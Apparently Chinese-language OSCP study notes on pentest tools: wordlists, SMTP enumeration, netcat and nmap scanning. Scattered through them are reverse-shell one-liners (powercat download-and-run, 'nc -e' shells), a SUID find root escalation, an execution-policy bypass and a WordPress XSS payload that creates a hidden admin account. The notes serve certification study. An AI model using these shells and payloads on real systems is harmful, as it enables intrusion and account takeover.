提權

find / -perm -u=s -type f 2>/dev/null | grep -v 'snap'

字典

密碼破解

漏洞確認

AS-REP Roasting

Powershell

 

【OSCP】Tools

【OSCP】Tools

【Data】SecLists

SecLists(安全列表)是一個包含多種類型的列表的集合,用於安全評估。這些列表包括用戶名、密碼、URL、敏感數據的grep字符串、fuzzing載荷等等。

其目標是使安全測試人員能夠將這個存儲庫拉到新的測試機上,並獲得可能需要的每種類型的列表。這些列表可以用於不同的測試情境,幫助安全專業人員進行渗透测试、漏洞分析和安全評估。它是一個極有價值的工具,可節省安全專業人員的時間和努力,同時提供了有關可能的安全漏洞和攻擊面的重要信息。 SecLists是開源的,可以自由使用,是許多安全專業人員在其測試工作中的寶貴資源。

安裝

/iusr/share/seclists

# 安裝
sudo apt update
sudo apt install -y seclists

cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz
┌──(kali㉿kali)-[~]
└─$ ls -al /usr/share/seclists
total 56
drwxr-xr-x  11 root root  4096 Nov  4 04:51 .
drwxr-xr-x 349 root root 12288 Nov  4 04:51 ..
drwxr-xr-x   9 root root  4096 Nov  4 04:51 Discovery
drwxr-xr-x   9 root root  4096 Nov  4 04:51 Fuzzing
drwxr-xr-x   2 root root  4096 Nov  4 04:51 IOCs
drwxr-xr-x   8 root root  4096 Nov  4 04:51 Miscellaneous
drwxr-xr-x  12 root root  4096 Nov  4 04:51 Passwords
drwxr-xr-x   3 root root  4096 Nov  4 04:51 Pattern-Matching
drwxr-xr-x   8 root root  4096 Nov  4 04:51 Payloads
-rw-r--r--   1 root root  2117 Aug 15 17:43 README.md
drwxr-xr-x   4 root root  4096 Nov  4 04:51 Usernames
drwxr-xr-x  10 root root  4096 Nov  4 04:51 Web-Shells

密碼檔

 

# 字典檔
┌──(kali㉿kali)-[~]
└─$ tree /usr/share/seclists/Passwords
/usr/share/seclists/Passwords
├── 2020-200_most_used_passwords.txt
├── 500-worst-passwords.txt
├── 500-worst-passwords.txt.bz2
├── BiblePass
│   ├── BiblePass_part01.txt
│   ├── BiblePass_part02.txt
│   ├── BiblePass_part03.txt
│   ├── BiblePass_part04.txt
│   ├── BiblePass_part05.txt
│   ├── BiblePass_part06.txt
│   ├── BiblePass_part07.txt
│   ├── BiblePass_part08.txt
│   ├── BiblePass_part09.txt
│   ├── BiblePass_part10.txt
│   ├── BiblePass_part11.txt
│   ├── BiblePass_part12.txt
│   ├── BiblePass_part13.txt
│   ├── BiblePass_part14.txt
│   ├── BiblePass_part15.txt
│   ├── BiblePass_part16.txt
│   └── BiblePass_part17.txt
├── bt4-password.txt
├── cirt-default-passwords.txt
├── citrix.txt
├── clarkson-university-82.txt
├── common_corporate_passwords.lst
├── Common-Credentials
│   ├── 100k-most-used-passwords-NCSC.txt
│   ├── 10k-most-common.txt
│   ├── 10-million-password-list-top-1000000.txt
│   ├── 10-million-password-list-top-100000.txt
│   ├── 10-million-password-list-top-10000.txt
│   ├── 10-million-password-list-top-1000.txt
│   ├── 10-million-password-list-top-100.txt
│   ├── 10-million-password-list-top-500.txt
│   ├── 1900-2020.txt
│   ├── 500-worst-passwords.txt
│   ├── best1050.txt
│   ├── best110.txt
│   ├── best15.txt
│   ├── common-passwords-win.txt
│   ├── four-digit-pin-codes-sorted-by-frequency-withcount.csv
│   ├── medical-devices.txt
│   ├── SplashData-2014.txt
│   ├── SplashData-2015-1.txt
│   ├── SplashData-2015-2.txt
│   ├── top-20-common-SSH-passwords.txt
│   ├── top-passwords-shortlist.txt
│   └── worst-passwords-2017-top100-slashdata.txt
├── Cracked-Hashes
│   └── milw0rm-dictionary.txt
├── darkc0de.txt
├── darkweb2017-top10000.txt
├── darkweb2017-top1000.txt
├── darkweb2017-top100.txt
├── darkweb2017-top10.txt
├── days.txt
├── Default-Credentials
│   ├── avaya_defaultpasslist.txt
│   ├── cryptominers.txt
│   ├── db2-betterdefaultpasslist.txt
│   ├── default-passwords.csv
│   ├── default-passwords.txt
│   ├── ftp-betterdefaultpasslist.txt
│   ├── mssql-betterdefaultpasslist.txt
│   ├── mysql-betterdefaultpasslist.txt
│   ├── oracle-betterdefaultpasslist.txt
│   ├── Oracle EBS passwordlist.txt
│   ├── Oracle EBS userlist.txt
│   ├── postgres-betterdefaultpasslist.txt
│   ├── scada-pass.csv
│   ├── ssh-betterdefaultpasslist.txt
│   ├── telnet-betterdefaultpasslist.txt
│   ├── telnet-phenoelit.txt
│   ├── tomcat-betterdefaultpasslist_base64encoded.txt
│   ├── tomcat-betterdefaultpasslist.txt
│   ├── vnc-betterdefaultpasslist.txt
│   └── windows-betterdefaultpasslist.txt
├── der-postillon.txt
├── dutch_common_wordlist.txt
├── dutch_passwordlist.txt
├── dutch_wordlist
├── german_misc.txt
├── Honeypot-Captures
│   ├── multiplesources-passwords-fabian-fingerle.de.txt
│   ├── python-heralding-sep2019.txt
│   ├── Sucuri-Top-Wordpress-Passwords.txt
│   └── wordpress-attacks-july2014.txt
├── Keyboard-Combinations.txt
├── Leaked-Databases
│   ├── 000webhost.txt
│   ├── adobe100.txt
│   ├── alleged-gmail-passwords.txt
│   ├── Ashley-Madison.txt
│   ├── bible.txt
│   ├── bible-withcount.txt
│   ├── carders.cc.txt
│   ├── elitehacker.txt
│   ├── elitehacker-withcount.txt
│   ├── faithwriters.txt
│   ├── faithwriters-withcount.txt
│   ├── fortinet-2021.txt
│   ├── hak5.txt
│   ├── hak5-withcount.txt
│   ├── honeynet2.txt
│   ├── honeynet.txt
│   ├── honeynet-withcount.txt
│   ├── hotmail.txt
│   ├── izmy.txt
│   ├── Lizard-Squad.txt
│   ├── md5decryptor-uk.txt
│   ├── muslimMatch.txt
│   ├── muslimMatch-withcount.txt
│   ├── myspace.txt
│   ├── myspace-withcount.txt
│   ├── NordVPN.txt
│   ├── phpbb-cleaned-up.txt
│   ├── phpbb.txt
│   ├── phpbb-withcount.txt
│   ├── porn-unknown.txt
│   ├── porn-unknown-withcount.txt
│   ├── rockyou-05.txt
│   ├── rockyou-10.txt
│   ├── rockyou-15.txt
│   ├── rockyou-20.txt
│   ├── rockyou-25.txt
│   ├── rockyou-30.txt
│   ├── rockyou-35.txt
│   ├── rockyou-40.txt
│   ├── rockyou-45.txt
│   ├── rockyou-50.txt
│   ├── rockyou-55.txt
│   ├── rockyou-60.txt
│   ├── rockyou-65.txt
│   ├── rockyou-70.txt
│   ├── rockyou-75.txt
│   ├── rockyou.txt.tar.gz
│   ├── rockyou-withcount.txt.tar.gz
│   ├── singles.org.txt
│   ├── singles.org-withcount.txt
│   ├── tuscl.txt
│   ├── youporn2012-raw.txt
│   └── youporn2012.txt
├── Malware
│   ├── conficker.txt
│   └── mirai-botnet.txt
├── months.txt
├── Most-Popular-Letter-Passes.txt
├── mssql-passwords-nansh0u-guardicore.txt
├── openwall.net-all.txt
├── Permutations
│   ├── 1337speak.txt
│   ├── korelogic-password.txt
│   └── password-permutations.txt
├── PHP-Magic-Hashes.txt
├── probable-v2-top12000.txt
├── probable-v2-top1575.txt
├── probable-v2-top207.txt
├── README.md
├── richelieu-french-top20000.txt
├── richelieu-french-top5000.txt
├── SCRABBLE-hackerhouse.tgz
├── scraped-JWT-secrets.txt
├── seasons.txt
├── Software
│   ├── cain-and-abel.txt
│   └── john-the-ripper.txt
├── stupid-ones-in-production.txt
├── twitter-banned.txt
├── unkown-azul.txt
├── UserPassCombo-Jay.txt
├── WiFi-WPA
│   ├── probable-v2-wpa-top447.txt
│   ├── probable-v2-wpa-top4800.txt
│   └── probable-v2-wpa-top62.txt
├── xato-net-10-million-passwords-1000000.txt
├── xato-net-10-million-passwords-100000.txt
├── xato-net-10-million-passwords-10000.txt
├── xato-net-10-million-passwords-1000.txt
├── xato-net-10-million-passwords-100.txt
├── xato-net-10-million-passwords-10.txt
├── xato-net-10-million-passwords-dup.txt
└── xato-net-10-million-passwords.txt

#目錄內容
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ tree
.
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt
├── seclists -> /usr/share/seclists
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txt

【OSCP】Tools

【Terminal】telnet

Telnet(Telecommunication Network)是一個網路協議和一個命令行工具,用於建立基於文本的遠程連接到遠程伺服器、設備或主機,以便進行遠程管理、測試和診斷。

#telnet {optipn} {ip} {port}
C:\Windows\system32>telnet 192.168.50.8 25
220 mail ESMTP Postfix (Ubuntu)
VRFY goofy
550 5.1.1 <goofy>: Recipient address rejected: User unknown in local recipient table
VRFY root
252 2.0.0 root

開啟telnet功能

PS C:\Windows\system32> dism /online /Enable-Feature /FeatureName:TelnetClient  
...
【OSCP】Tools

【Terminal】powercat

就是NetCat 的Powershell 版本

https://github.com/besimorhino/powercat

 下載: https://github.com/besimorhino/powercat/blob/master/powercat.ps1

建立連線

IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');powercat -c 192.168.12.101 -p 8888 -e powershell

# 用IEX下載遠端PS1腳本回來繞過權限執行
IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');
powercat -c 192.168.12.101 -p 8888 -e powershell

# 單獨執行(需權限)
powercat -c 192.168.12.101 -p 8888 -v
# kali
netcat -l -p 8888 -vv
【OSCP】Tools

【Terminal】rlwrap

 

# 安裝
sudo apt install rlwrap
# listener 8888
rlwrap -cAr nc -nvlp8888

`rlwrap` 是一個用於包裹 Readline 函數庫的工具,它允許使用者在一些不支援 Readline 的命令行工具中添加行編輯和歷史記錄功能。Readline 是一個提供命令行編輯和歷史記錄功能的函數庫,用於提高命令行的互動性。

以下是 `rlwrap` 的簡要說明:

rlwrap [OPTIONS] COMMAND

**主要特點:**
1. **行編輯(Line Editing):** `rlwrap` 允許你使用鍵盤上的箭頭鍵來瀏覽和編輯先前輸入的命令行。

2. **歷史記錄(Command History):** 你可以使用上下箭頭鍵訪問和重複之前輸入的命令。

3. **自動補全(Tab Completion):** Readline 提供了命令行自動補全的功能,`rlwrap` 通過包裝這個功能,使得不支援自動補全的命令也可以使用。

4. **支援多種命令:** 你可以將 `rlwrap` 用於各種命令,使得這些命令獲得 Readline 的增強功能。

5. **可自定義配置:** 通過 Readline 的配置文件或 `rlwrap` 的命令行選項,你可以進行多樣化的配置。

**注意事項:**
- 在某些情況下,`rlwrap` 可能不適用於所有命令。有些命令可能已經內建了類似的行編輯和歷史記錄功能。

總的來說,`rlwrap` 是一個方便的工具,它使得那些不支援 Readline 的命令行工具擁有了更好的互動性。

【OSCP】Tools

【web】【windows】【PowerShell】 iwr

`iwr` 是 Windows PowerShell 中的一個 cmdlet,用於發送 HTTP、HTTPS 或 FTP 請求,並檢索相應的響應。`iwr` 的全稱是 "Invoke-WebRequest"。這個 cmdlet 提供了一個簡潔的方式,讓使用者能夠與網頁或 Web 服務進行互動,進行數據擷取和其他 HTTP 操作。

以下是 `iwr` 的主要特點和使用示例:

主要特點:

使用範例:

#1. **基本 GET 請求:** 發送一個基本的 GET 請求並檢索 https://www.example.com 的內容。
iwr https://www.example.com

#2. **POST 請求:** 發送一個 POST 請求,提交表單數據到 https://api.example.com。
iwr -Uri https://api.example.com -Method Post -Body "data=123" -ContentType "application/x-www-form-urlencoded"

#3. **帶有標頭的請求:** 添加自定義標頭,這裡演示了如何使用授權標頭。
iwr -Uri https://www.example.com -Headers @{"Authorization"="Bearer YourToken"}

#4. **檔案下載:** 下載文件到指定的本地路徑。
iwr -Uri https://www.example.com/file.zip -OutFile C:\Downloads\file.zip

#5. **檔案上傳:** 將本地文件上傳到遠端服務器。
iwr -Uri https://api.example.com/upload -Method Post -InFile C:\Documents\upload.txt

`iwr` 的靈活性使得它成為在 PowerShell 中進行簡單的網絡請求和操作的便捷工具。在使用時,請注意參數的選項和相應的用法。

【OSCP】Tools

【Shell】powershell

啟動powershell

# -ep bypass 繞過執行策略
PS C:\Users\stephanie> powershell -ep bypass

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\stephanie>
# wget
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

# 進行URL編碼
IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.168%20-p%204444%20-e%20powershell

# 進行URL編碼

IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.168%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.168%20-p%204444%20-e%20powershell


Import-Module 導入模組

C:\Windows\system32> powershell -ep bypass

PS C:\Windows\system32> Import-Module NtObjectManager
Import-Module NtObjectManager

PS C:\Windows\system32> Get-NtTokenIntegrityLevel
Get-NtTokenIntegrityLevel

image-1702571316801.png

【OSCP】Tools

【shell】find

# 找尋可寫的資料夾
find / -writable -type d 2>/dev/null
# 尋找當前用戶可寫目錄
oe@debian-privesc:~$ find / -writable -type d 2>/dev/null
..
/home/joe
/home/joe/Videos
/home/joe/Templates
/home/joe/.local
/home/joe/.local/share
# 搜索帶有 SUID 位設置的文件(-type f,-perm -u=s)
# -perm 權限搜索 -u UID 
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/fusermount
# find 如果sid 為 root ,可執行shell提權
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
bash-5.0# id
uid=1000(joe) gid=1000(joe) euid=0(root) groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
bash-5.0# whoami
root
【OSCP】Tools

【online】【編碼】jscompress.com

https://jscompress.com/

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

壓縮後

var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);

image-1704626732743.png

【OSCP】Tools

【online】【編碼】CyberChef

https://gchq.github.io/CyberChef

【OSCP】Tools

【PortScan】netcat

基本上,一個主機向目的地埠口的伺服器發送TCP SYN數據包。如果目的地埠口是開放的,伺服器將以SYN-ACK數據包回應,並且客戶端主機將發送ACK數據包以完成握手。如果握手成功完成,該埠口被認為是開放的。

我們可以通過在埠口3388-3390上運行TCP Netcat埠口掃描來演示這一點。我們將使用-w選項指定連接超時(以秒為單位),以及-z選項指定零I/O模式,用於掃描並不發送數據。

# nc {option} {ip} {port}
# -n 不解析dns
# -v 顯示細節
# -vv 顯示細節(比v多)
# -w timeout (秒)
# -u UDP
# -z syc mode
# port: 1-100 or 53,54,55 連續或跳號

kali@kali:~$ nc -nvv -w 1 -z 192.168.50.152 3388-3390
(UNKNOWN) [192.168.50.152] 3390 (?) : Connection refused
(UNKNOWN) [192.168.50.152] 3389 (ms-wbt-server) open
(UNKNOWN) [192.168.50.152] 3388 (?) : Connection refused
 sent 0, rcvd 0
 
kali@kali:~$ nc -nv -u -z -w 1 192.168.50.149 120-123
(UNKNOWN) [192.168.50.149] 123 (ntp) open
# listener {port} 
nc -nvlp 192.168.45.168 4444

# 開啟shell 連線
nc 192.168.45.168 4444 -e /bin/bash
# 進行URL編碼
nc%20192.168.45.168%204444%20-e%20/bin/bash
# 土炮 ip scan
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$ 
# 一旦監聽器正在運行,我們將再次使用Web殼在MULTISERVER03上執行`nc.exe`,
# 並使用`-e`參數在連接建立後執行`cmd.exe`。
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446
【OSCP】Tools

【PortScan】nmap

常用語法

## nmap 預設會scan ip (主機探測) 與 port (服務探測)

## 列出網段內機器的ip (主機探測)
# -sn (no service scan) 不掃描port
# 	不要掃描任何連接埠——強制它主要依靠 ICMP 回顯封包(或本機網路上的 ARP 請求),
# 	如果使用 sudo 運行或直接以 root 使用者身分執行)來識別目標。除了 ICMP 回顯請求之外,
# 	向目標的連接埠 443 發送 TCP SYN 封包,以及向目標的連接埠 80 發送 TCP ACK 封包。

# -n 不使用dns解析
nmap -sn -n 192.168.202.0/24
# -Pn (no ping)掃描之前不需要用ping命令,有些防火牆禁止ping命令。(使用其他方式偵測,速度快) 
nmap -Pn -sn -n 192.168.202.0/24 
# -oG console ouput , 才能搭配 | 做後續處理
# awk '{prin $2}' 使用awk 取出ip
# > ip.txt 輸出成文字檔 
nmap -sn -n 192.168.202.0/24 -oG - | grep Up |awk '{prin $2}' > ips.txt
# cut -d ‘ ‘ -f2 => 使用 cut 切出 ip
nmap -sn -n 192.168.202.0/24 -oG - | grep Up |cut -d ‘ ‘ -f2 > ips.txt
# -oN {filename} 輸出到檔案
nmap -sn -n 192.168.202.0/24 -oN namp_192.168.202.log


## port 掃描(服務探測)
# namp 預設掃描,常用 1000 port(/usr/share/nmap/nmap-servicese)
# -p 1-65535 所有port掃描
namp 192.168.203.151 -p 1-65535 
# 等於 namp 192.168.203.151 -p -
# 1- : 1以後
# 等於 namp 192.168.203.151 -p 1-
# -65535: 65535 以前
# 等於 namp 192.168.203.151 -p -65535

## 列出ips.txt 主機有開 tcp/25 的主機 
# -p port
# -sS syn 掃描 (或是 -sT tcp 連線掃描)
# -iL 從檔案讀取要掃描的主機 (-sL 列出要掃描的ip,只列出不掃描)
# --open 只列出開啟(up)的結果
sudo nmap -p 25 -sS --open 192.168.202.255 -iL ips.txt -oG -
# result
Host: 192.168.202.23 () Status: Up
Host: 192.168.202.23 () Ports: 25/filtered/tcp//smtp///

# 其他參數
-sV	確定開放連接埠上的服務/版本信息
-sV --version-light	嘗試最有可能的探針 (2)
-sV --version-all	嘗試所有可用的探針 (9)
-O	偵測作業系統
--traceroute	運行traceroute到目標
--script=SCRIPTS	要執行的 Nmap 腳本
-sC或者--script=default	運行預設腳本
-A	相當於-sV -O -sC --traceroute
# 輸出
-oN	以正常格式儲存輸出
-oG	以 grepable 格式儲存輸出
-oX	以 XML 格式儲存輸出
-oA	以普通、XML 和 Grepable 格式儲存輸出

主機(Ping)(-PX)掃描

# host scan
# ARP掃描				  sudo nmap -PR -sn MACHINE_IP/24
# ICMP echo掃描		  sudo nmap -PE -sn MACHINE_IP/24
# ICMP 時間戳掃描		sudo nmap -PP -sn MACHINE_IP/24
# ICMP 位址遮罩掃描	  	sudo nmap -PM -sn MACHINE_IP/24
# TCP SYN Ping 掃描	sudo nmap -PS22,80,443 -sn MACHINE_IP/30
# TCP ACK Ping 掃描	sudo nmap -PA22,80,443 -sn MACHINE_IP/30
# UDP Ping 掃描		sudo nmap -PU53,161,162 -sn MACHINE_IP/30
# -n	沒有DNS查找
# -R	所有主機的反向 DNS 查找
# -sn	僅主機發現(不掃描port)
# -Pn 	停用主機發現(no ping scan)
#		它的代價是可能需要很長時間才能完成掃描(如果主機確實死了,那麼 Nmap 仍然會檢查並仔細檢查每個指定的連接埠)

# port 相關option
-p-	所有連接埠
-p1-1023	掃描埠1至1023
-F	100 個最常用端口
-r	按連續順序掃描端口
-T<0-5>	-T0最慢,T5最快
--max-rate 50	速率 <= 50 資料包/秒
--min-rate 15	速率 >= 15 資料包/秒
--min-parallelism 100	至少 100 個平行探頭
# -sL 只列出要掃描的主機(不掃描)
# -n 不進行dns反解
#nmap -n -sL 10.10.12.13/29

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-28 10:39 GMT
Nmap scan report for 10.10.12.8
Nmap scan report for 10.10.12.9
Nmap scan report for 10.10.12.10
Nmap scan report for 10.10.12.11
Nmap scan report for 10.10.12.12
Nmap scan report for 10.10.12.13
Nmap scan report for 10.10.12.14
Nmap scan report for 10.10.12.15
Nmap done: 8 IP addresses (0 hosts up) scanned in 0.00 seconds

arp scan

arp-scan wiki https://www.royhills.co.uk/wiki/index.php/Arp-scan_Documentation

image-1709144999650.png

# -PR 使用arp掃描
# -sn 只掃描ip,不掃描port
$ sudo nmap -PR -sn 10.10.210.6/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 07:12 BST
Nmap scan report for ip-10-10-210-75.eu-west-1.compute.internal (10.10.210.75)
Host is up (0.00013s latency).
MAC Address: 02:83:75:3A:F2:89 (Unknown)
Nmap scan report for ip-10-10-210-100.eu-west-1.compute.internal (10.10.210.100)
Host is up (-0.100s latency).
MAC Address: 02:63:D0:1B:2D:CD (Unknown)
Nmap scan report for ip-10-10-210-165.eu-west-1.compute.internal (10.10.210.165)
Host is up (0.00025s latency).
MAC Address: 02:59:79:4F:17:B7 (Unknown)
Nmap scan report for ip-10-10-210-6.eu-west-1.compute.internal (10.10.210.6)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.12 seconds

# arp-scan
$ sudo arp-scan 10.10.210.6/24
Interface: eth0, datalink type: EN10MB (Ethernet)
WARNING: host part of 10.10.210.6/24 is non-zero
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.210.75	02:83:75:3a:f2:89	(Unknown)
10.10.210.100	02:63:d0:1b:2d:cd	(Unknown)
10.10.210.165	02:59:79:4f:17:b7	(Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.726 seconds (93.91 hosts/sec). 3 responded

icmp scan (-PE)(echo)

icmp 類型 https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml

image-1709145076833.png

# icmp 類型 https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml 

# -PE 使用icmp 掃描
# ICMP 類型 8 Echo -> ICMP 類型 0  Echo Reply 回應 
# -sn 不進行port掃描
$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 10:16 BST
Nmap scan report for ip-10-10-68-50.eu-west-1.compute.internal (10.10.68.50)
Host is up (0.00017s latency).
MAC Address: 02:95:36:71:5B:87 (Unknown)
...
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.11 seconds

icmp scan (-PP)(timestamp)

image-1709145251010.png

# -PP 使用icmp 時間戳記掃描
# ICMP 類型 13 時間戳記請求 -> ICMP 類型 14 時間戳記請求回應
$ sudo nmap -PP -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:06 EEST
Nmap scan report for 10.10.68.50
Host is up (0.13s latency).
...
Nmap done: 256 IP addresses (8 hosts up) scanned in 10.93 seconds

icmp scan (-PM)(address mask)

image-1709145220475.png

# -PM 使用icmp 遮罩掃描
# 位址遮罩查詢Address Mask Request(ICMP 類型 17)並檢查是否獲得位址遮罩回覆Address Mask Reply(ICMP 類型 18)
$ sudo nmap -PM -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:13 EEST
Nmap done: 256 IP addresses (0 hosts up) scanned in 52.17 seconds

TCP SYN scan (-PS)

# TCP SYN 掃描
# -PS 使用tcp sync scan (預設80 port,可設定特殊port 如-PS22,80,8080)
# -sn 不執行port掃描
$ sudo nmap -PS -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency)
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 17.38 seconds

image-1709144904730.png

image-1709144956410.png

TCP ACK scan (-PA)

 

image-1709145968572.png

image-1709146109535.png

# TCP ACK scan
# -PA TCP ACK scan
# -sn 不執行port掃描
# 特權使用者(root 和 sudoers)才可以用 ack scan
$ sudo nmap -PA -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:46 EEST
Nmap scan report for 10.10.68.52
Host is up (0.11s latency).
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 29.89 seconds

UDP scan (-PU)

image-1709146285199.png

image-1709146304441.png

# -PU udp scan
# -sn 不執行port掃描
$ sudo nmap -PU -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
...
Nmap done: 256 IP addresses (5 hosts up) scanned in 9.20 seconds

dns 反解

# -n 不使用dns反解(此選項與下面互斥)
$ sudo nmap -n -sn 192.168.100.10/24 

# -R 使用DNS查詢(一般不用加,會使用預設dns)
# --dns-servers {DNS_SERVER} 使用特定dns

服務(Service)(-sX) 掃描

我們可以將連接埠分為兩種狀態:

  1. 開啟連接埠表示有某個服務正在偵聽該連接埠。
  2. 關閉連接埠表示該連接埠沒有服務監聽。

Nmap 六種回應狀態

但在實際情況中,我們需要考慮防火牆的影響。例如,連接埠可能是開放的,但防火牆可能會阻止資料包。因此,Nmap考慮以下六種狀態:

  1. Open:表示有服務正在監聽指定連接埠。
  2. Closed:表示沒有服務正在偵聽指定端口,儘管該端口是可訪問的。可存取是指它是可存取的並且不會被防火牆或其他安全設備/程式阻止。
  3. Filtered :表示Nmap無法確定連接埠是開啟還是關閉,因為該連接埠無法存取。這種狀態通常是由於防火牆阻止 Nmap 到達該連接埠所造成的。Nmap 的封包可能會被阻止到達該連接埠;或者,回應被阻止到達 Nmap 的主機。
  4. Unfiltered :表示儘管連接埠可以訪問,但Nmap無法確定連接埠是開啟還是關閉。使用 ACK 掃描時會遇到此狀態-sA
  5. Open|Filtered :這意味著Nmap無法確定連接埠是開放的還是已過濾的。
  6. Closed|Filtered :這表示Nmap無法決定連接埠是關閉還是過濾。

Nmap支援不同類型的 TCP 連接埠掃描。要了解這些連接埠掃描之間的差異,我們需要查看 TCP 標頭。TCP 標頭是 TCP 段的前 24 個位元組。下圖顯示了RFC 793中定義的 TCP 標頭。這個人物乍看之下很精緻,但實際上卻很複雜。然而,它很容易理解。在第一行中,我們有來源 TCP 連接埠號碼和目標連接埠號碼。我們可以看到連接埠號碼分配了16位元(2個位元組)。在第二行和第三行中,我們有序號和確認號。每行分配 32 位元(4 位元組),總共 6 行,組成 24 位元組。

image-1709216387063.png

TCP 標誌

特別是,我們需要關注Nmap可以設定或取消設定的標誌。我們用紅色突出顯示了 TCP 標誌。設定標誌位意味著將其值設為1。從左到右,TCP頭標誌是:

  1. URG :緊急標誌表示提交的緊急指針是重要的。緊急指針指示傳入資料緊急,並且立即處理設定了 URG 標誌的TCP分段,而無需考慮必須等待先前發送的 TCP 分段。
  2. ACK :確認標誌表示確認號碼很重要。它用於確認TCP段的接收。
  3. PSH :推送標誌,要求TCP立即將資料傳遞給應用程式。
  4. RST :重設標誌用於重設連線。另一個裝置(例如防火牆)可能會發送它來斷開TCP 連線。當資料傳送到主機且接收端沒有服務來應答時,也會使用此標誌。
  5. SYN :同步標誌用於啟動TCP 3相交握並與其他主機同步序號。序號應在 TCP 連線建立期間隨機設定。
  6. FIN:發送方沒有更多資料要傳送。

TCP 連線 掃描 (-sT)

TCP 連線掃描透過完成 TCP 3 次握手來運作。在標準TCP連線建立中,用戶端發送一個設定了SYN標誌的TCP封包,如果連接埠打開,伺服器用SYN/ACK回應;最後,客戶端透過發送ACK完成3次握手。

image-1709219287209.png

我們感興趣的是了解 TCP 連接埠是否打開,而不是建立 TCP 連線。因此,一旦透過發送 RST/ACK 確認其狀態,連線就會被中斷。您可以選擇使用執行 TCP 連線掃描

image-1709219302396.png

請務必注意,如果您不是特權使用者(root 或 sudoer),則 TCP 連線掃描是發現開放 TCP 連接埠的唯一可能選項。

